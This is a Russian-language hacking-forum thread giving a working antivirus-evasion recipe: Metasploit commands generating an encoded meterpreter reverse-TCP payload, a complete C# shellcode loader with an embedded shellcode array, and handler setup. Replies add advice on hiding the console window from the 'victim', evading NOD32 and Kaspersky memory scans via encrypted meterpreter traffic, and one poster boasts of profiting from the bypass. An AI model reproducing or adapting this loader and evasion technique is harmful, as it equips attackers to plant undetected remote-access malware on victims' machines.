Статья AV ByPass с помощью C#

Привет. Господа хекеры. Рассмотрим вариант байпасса антивирусов с помощью языка C#.

Обо всё предлагаю по порядку и для начала сгенерируем полезную нагрузку в метасплоите.
Код:
use windows/meterpreter/reverse_tcp
upload_2016-12-17_21-56-36.png

Устанавливаем опции
Код:
set LHOST 192.168.1.237
set LPORT 1338
set EXITFUNC thread
И генерируем нашу нагрузку для языка C#
Код:
generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp
upload_2016-12-17_22-7-18.png


А дальше берем нагрузку и вставляем в код ниже в переменную buf
Код:
using System;
using System.Runtime.InteropServices;

namespace ShellCodeByPass
{
    public class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum OpcodesToFree : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, OpcodesToFree dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        public static void Main(string[] args)
        {
            byte[] buf = new byte[624] {
                0x89,0xe7,0xdb,0xdc,0xd9,0x77,0xf4,0x5e,0x56,0x59,0x49,0x49,0x49,0x49,0x49,
                0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,
                0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,
                0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,
                0x69,0x6c,0x59,0x78,0x4c,0x42,0x45,0x50,0x63,0x30,0x37,0x70,0x33,0x50,0x4b,
                0x39,0x38,0x65,0x74,0x71,0x49,0x50,0x31,0x74,0x4e,0x6b,0x52,0x70,0x74,0x70,
                0x4c,0x4b,0x42,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x6e,0x6b,0x70,
                0x72,0x31,0x38,0x76,0x6f,0x38,0x37,0x63,0x7a,0x55,0x76,0x46,0x51,0x4b,0x4f,
                0x4e,0x4c,0x75,0x6c,0x30,0x61,0x73,0x4c,0x53,0x32,0x34,0x6c,0x51,0x30,0x4a,
                0x61,0x78,0x4f,0x66,0x6d,0x75,0x51,0x59,0x57,0x58,0x62,0x79,0x62,0x42,0x72,
                0x51,0x47,0x6e,0x6b,0x72,0x72,0x42,0x30,0x6e,0x6b,0x71,0x5a,0x47,0x4c,0x4c,
                0x4b,0x50,0x4c,0x72,0x31,0x61,0x68,0x39,0x73,0x50,0x48,0x77,0x71,0x38,0x51,
                0x32,0x71,0x4c,0x4b,0x43,0x69,0x31,0x30,0x43,0x31,0x4b,0x63,0x4e,0x6b,0x33,
                0x79,0x62,0x38,0x78,0x63,0x54,0x7a,0x61,0x59,0x4e,0x6b,0x70,0x34,0x6e,0x6b,
                0x35,0x51,0x69,0x46,0x54,0x71,0x49,0x6f,0x6c,0x6c,0x79,0x51,0x38,0x4f,0x74,
                0x4d,0x33,0x31,0x38,0x47,0x45,0x68,0x39,0x70,0x52,0x55,0x6c,0x36,0x46,0x63,
                0x33,0x4d,0x39,0x68,0x65,0x6b,0x51,0x6d,0x47,0x54,0x63,0x45,0x59,0x74,0x72,
                0x78,0x6c,0x4b,0x51,0x48,0x65,0x74,0x45,0x51,0x68,0x53,0x73,0x56,0x6e,0x6b,
                0x64,0x4c,0x32,0x6b,0x4e,0x6b,0x51,0x48,0x77,0x6c,0x46,0x61,0x7a,0x73,0x6e,
                0x6b,0x45,0x54,0x4c,0x4b,0x47,0x71,0x4a,0x70,0x6e,0x69,0x51,0x54,0x45,0x74,
                0x71,0x34,0x73,0x6b,0x61,0x4b,0x51,0x71,0x76,0x39,0x43,0x6a,0x70,0x51,0x6b,
                0x4f,0x4b,0x50,0x71,0x4f,0x63,0x6f,0x33,0x6a,0x6c,0x4b,0x55,0x42,0x4a,0x4b,
                0x4c,0x4d,0x33,0x6d,0x32,0x48,0x56,0x53,0x50,0x32,0x63,0x30,0x77,0x70,0x43,
                0x58,0x63,0x47,0x62,0x53,0x50,0x32,0x61,0x4f,0x53,0x64,0x35,0x38,0x50,0x4c,
                0x63,0x47,0x37,0x56,0x46,0x67,0x79,0x6f,0x7a,0x75,0x6d,0x68,0x5a,0x30,0x33,
                0x31,0x55,0x50,0x57,0x70,0x34,0x69,0x79,0x54,0x72,0x74,0x36,0x30,0x61,0x78,
                0x77,0x59,0x4b,0x30,0x72,0x4b,0x45,0x50,0x4b,0x4f,0x48,0x55,0x71,0x7a,0x56,
                0x65,0x31,0x78,0x77,0x4e,0x4e,0x56,0x45,0x62,0x6e,0x46,0x45,0x38,0x47,0x72,
                0x37,0x70,0x43,0x35,0x65,0x6a,0x4b,0x39,0x39,0x76,0x62,0x70,0x42,0x70,0x42,
                0x70,0x56,0x30,0x43,0x70,0x52,0x70,0x73,0x70,0x42,0x70,0x61,0x78,0x7a,0x4a,
                0x46,0x6f,0x79,0x4f,0x59,0x70,0x69,0x6f,0x6a,0x75,0x4f,0x67,0x33,0x5a,0x54,
                0x50,0x36,0x36,0x30,0x57,0x35,0x38,0x7a,0x39,0x79,0x35,0x70,0x74,0x71,0x71,
                0x39,0x6f,0x6e,0x35,0x4c,0x45,0x79,0x50,0x54,0x34,0x44,0x4c,0x39,0x6f,0x50,
                0x4e,0x75,0x58,0x30,0x75,0x68,0x6c,0x55,0x38,0x48,0x70,0x4d,0x65,0x4c,0x62,
                0x30,0x56,0x49,0x6f,0x4a,0x75,0x70,0x6a,0x57,0x70,0x50,0x6a,0x74,0x44,0x31,
                0x46,0x63,0x67,0x52,0x48,0x44,0x42,0x49,0x49,0x79,0x58,0x63,0x6f,0x4b,0x4f,
                0x48,0x55,0x4c,0x4b,0x70,0x36,0x32,0x4a,0x31,0x50,0x43,0x58,0x37,0x70,0x56,
                0x70,0x75,0x50,0x63,0x30,0x73,0x66,0x53,0x5a,0x63,0x30,0x55,0x38,0x30,0x58,
                0x49,0x34,0x33,0x63,0x5a,0x45,0x49,0x6f,0x49,0x45,0x4e,0x73,0x56,0x33,0x61,
                0x7a,0x73,0x30,0x52,0x76,0x73,0x63,0x52,0x77,0x53,0x58,0x63,0x32,0x68,0x59,
                0x48,0x48,0x53,0x6f,0x79,0x6f,0x7a,0x75,0x43,0x31,0x79,0x53,0x47,0x59,0x39,
                0x56,0x34,0x35,0x5a,0x4e,0x39,0x53,0x41,0x41
            };

            byte[] schell = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                schell[i] = Convert.ToByte(buf[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(schell.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                Marshal.Copy(schell, 0, baseAddr, schell.Length);
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, OpcodesToFree.MEM_RELEASE);
            }
        }
    }
}
Далее поднимаем листенер
Код:
use exploit/multi/handler
set LHOST 192.168.1.237
set LPORT 1338
set PAYLOAD windows/meterpreter/reverse_tcp
upload_2016-12-17_22-38-21.png


И компилируемый наш билд
upload_2016-12-17_22-42-39.png


После компиляции и запуска получаем сессию
upload_2016-12-17_22-44-9.png


А теперь ссылка со сканом нашей малвари.
upload_2016-12-17_22-46-3.png

Только один антивирус задетектил
Ссылка на скан:

НЕ ЛИТЬ НА ВИРУСТОТАЛ
 
Последнее редактирование:
Ах да комментарии по коду...
По факту мы выбераем текущий инстанс и создаем поток внутри памяти (поэтому надо заменить в пэйлоаде метасплоите что вывод будем делать в поток). Далее поток объявляем делегат нашей функции метрпретера которая кладет наш шелл код по адресу нашего нового потока.
 
Great tutorial really Compliment and thanks for your code really but on your code cs you have set buffer byte[] buf = new byte[624] { while on msfconsole he is
byte[] buf = new byte[362] { I don t know if i wrong but i have already try with reverse_dns and have to edit the buffer for work ..If I say right this mean that need some time text the same number of buffer. Tell me if i wrong i do be one Programmer and again thanks .
 
I don't be one Programmer i just be one stupid man that find the street of glory every moment .
 
Great tutorial really Compliment and thanks for your code really but on your code cs you have set buffer byte[] buf = new byte[624] { while on msfconsole he is
byte[] buf = new byte[362] { I don t know if i wrong but i have already try with reverse_dns and have to edit the buffer for work ..If I say right this mean that need some time text the same number of buffer. Tell me if i wrong i do be one Programmer and again thanks .
Yes. The code contains the last payload. Later, when wrote the article i generated a new. Just replace buf[624] to buf[362]. Thanks
 
  • Нравится
Реакции: <~DarkNode~> и cacaocaca
Код замечательно работает. Только интересно, как можно сделать чтобы окно консоли у жертвы запускалось в скрытом режиме. И чтобы исчезало после активной сессии.
 
Создаешь консольное риложение - > Свойства проекта -> Консольное приложение меняешь на Приложение Windows
 
Нее, это тема уже давно всем известна)))
 
Добрый день коллеги!

Обход антивируса на стадии запуска stage0 meterpreter это все конечно хорошо. я думаю что криптовка уже ушла на второй план, т.к в большей массе у людей/организаций установлена Win7+ и Win2k8 +, где замечательно можно закрепиться с помощью powershell + vbs. Антивирусы вяло на него реагируют. Хотя KAV тупа забанил у себя определенные функции powershell, из за чего могут страдать легальные скрипты, с командами и процедурами на скачивание и залив shellcode в память. Но разговор не об этом.

Допустим мы запустили exe со stage0, его не поймал AV, открылась сессия meterpreter'а. Если у вас стоит KAV или NOD32, вы сможете работать до тех пор, пока они не начнут сканировать память. Касперский это делает периодически, и детектит meterpreter, выдавая злобное сообщение. NOD32 же, не видит meterpreter, но как только начинаешь шупать системы, например вызываешь shell или миграцию, тут же орет на наличие meterpreter в памяти.

Видимо антивирусы эволюционируют, полгода назад такого я не наблюдал.

Могу предположить, что в перспективе meterpreter будет умирать, как средство для хакинга/пентеста.

Если есть мыли - было бы интересно услышать.
 
  • Нравится
Реакции: gushmazuko
Добрый день коллеги!

Обход антивируса на стадии запуска stage0 meterpreter это все конечно хорошо. я думаю что криптовка уже ушла на второй план, т.к в большей массе у людей/организаций установлена Win7+ и Win2k8 +, где замечательно можно закрепиться с помощью powershell + vbs. Антивирусы вяло на него реагируют. Хотя KAV тупа забанил у себя определенные функции powershell, из за чего могут страдать легальные скрипты, с командами и процедурами на скачивание и залив shellcode в память. Но разговор не об этом.

Допустим мы запустили exe со stage0, его не поймал AV, открылась сессия meterpreter'а. Если у вас стоит KAV или NOD32, вы сможете работать до тех пор, пока они не начнут сканировать память. Касперский это делает периодически, и детектит meterpreter, выдавая злобное сообщение. NOD32 же, не видит meterpreter, но как только начинаешь шупать системы, например вызываешь shell или миграцию, тут же орет на наличие meterpreter в памяти.

Видимо антивирусы эволюционируют, полгода назад такого я не наблюдал.

Могу предположить, что в перспективе meterpreter будет умирать, как средство для хакинга/пентеста.

Если есть мыли - было бы интересно услышать.
Прежде чем такое говорить надо попробовать. Сейчас сам билд чистый по понятным причинам. А вот проблема с дапом памяти решается просто. Я шифрую SSL сертификатом весь траффик, который создает метерпретер. И эта техника на ура обходит NOD32 в частности так как именно этот антивирус установлен в моей конторе. Далее как эволюционируют антивирусы так же эволюционируют и средства их байпасса.
 
Прежде чем такое говорить надо попробовать. Сейчас сам билд чистый по понятным причинам. А вот проблема с дапом памяти решается просто. Я шифрую SSL сертификатом весь траффик, который создает метерпретер. И эта техника на ура обходит NOD32 в частности так как именно этот антивирус установлен в моей конторе. Далее как эволюционируют антивирусы так же эволюционируют и средства их байпасса.


Добрый день!

Я не предполагаю, я утверждаю что это так. Т.к имею несколько тестовых лабораторий.
Даже если Вы настроите так https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, то вы скрываете трафик в SSL, с помощью самоподписанного сертификата, что конечно даст повышения в безопастности, и скажем IDS или другая система не сможет прочитать что внутри.

Возьмите чистую ВМ с Win7x64 И накатите последнюю версию NOD32 v9 и запустите meterpreter.
Затем наберите shell – и нод спалит наличие вредоносного кода в памяти.
 
Добрый день!

Я не предполагаю, я утверждаю что это так. Т.к имею несколько тестовых лабораторий.
Даже если Вы настроите так https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, то вы скрываете трафик в SSL, с помощью самоподписанного сертификата, что конечно даст повышения в безопастности, и скажем IDS или другая система не сможет прочитать что внутри.

Возьмите чистую ВМ с Win7x64 И накатите последнюю версию NOD32 v9 и запустите meterpreter.
Затем наберите shell – и нод спалит наличие вредоносного кода в памяти.

Ну значит руки явно не оттуда ибо,
upload_2017-3-20_16-3-27.png

Прокинул метерпретер и прописал shell
[doublepost=1490015245,1490015018][/doublepost]Я ещё раз говорю ни касперский ни Нода не детектит метерпретер если тот шифрован самоподписанным сертификатом или хуже того rc4 и только если гонять трафф через http или reverse tcp, только тогда детектит. И это уже проверено мной на той же ноде.
 
подскажите как можно объединить вышеуказанный метод с ssl сертификатом?
 
Ну значит руки явно не оттуда ибо,
Посмотреть вложение 9437
Прокинул метерпретер и прописал shell
[doublepost=1490015245,1490015018][/doublepost]Я ещё раз говорю ни касперский ни Нода не детектит метерпретер если тот шифрован самоподписанным сертификатом или хуже того rc4 и только если гонять трафф через http или reverse tcp, только тогда детектит. И это уже проверено мной на той же ноде.


Добрый день!

Не поленился, потратил на это ответ свое время.

Руки у меня растут от туда, откуда и у Вас )))
Я тоже встречал, что NOD32 не детектит meterpreter, это обычно бывает в организация, где используют сервер для управления NOD на клиентских машинах. Я предполагаю, что просто не до настроен модуль HIPS.

Есть реальная VDSка с реальным доменом, handler и stage0 настроены в режиме «Meterpreter-Paranoid-Mode» о чем я писал выше.


Запускаем handler для meterpretera в metasploit’e на VSDке
000.jpg



Запускаем stage0 на виртуалке Windows 7 x 64 + последний NOD32 AV

Стартует сессия – все ок, но как только я набираю shell, NOD её блокирует и детектит в памяти вирус:


001.jpg


вот что в виртуалке:
002.jpg
 
подскажите как можно объединить вышеуказанный метод с ssl сертификатом?

Добрый день!

Нужно сделать как написано тут https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, только для создания payload использовать вот эту команду generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp и вставить в код C#
 
  • Нравится
Реакции: kot-gor
Я не заню чем вы прокидываете шелл и как вы шифруете трафик. Но я могу снять видос как байпассится NOD32 тем что прокидывается метерпререт х64 метерпретер. Более того эо байпасс абсолютный. Я тонну профита с этог уже поимел.
 
  • Нравится
Реакции: MrNik
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!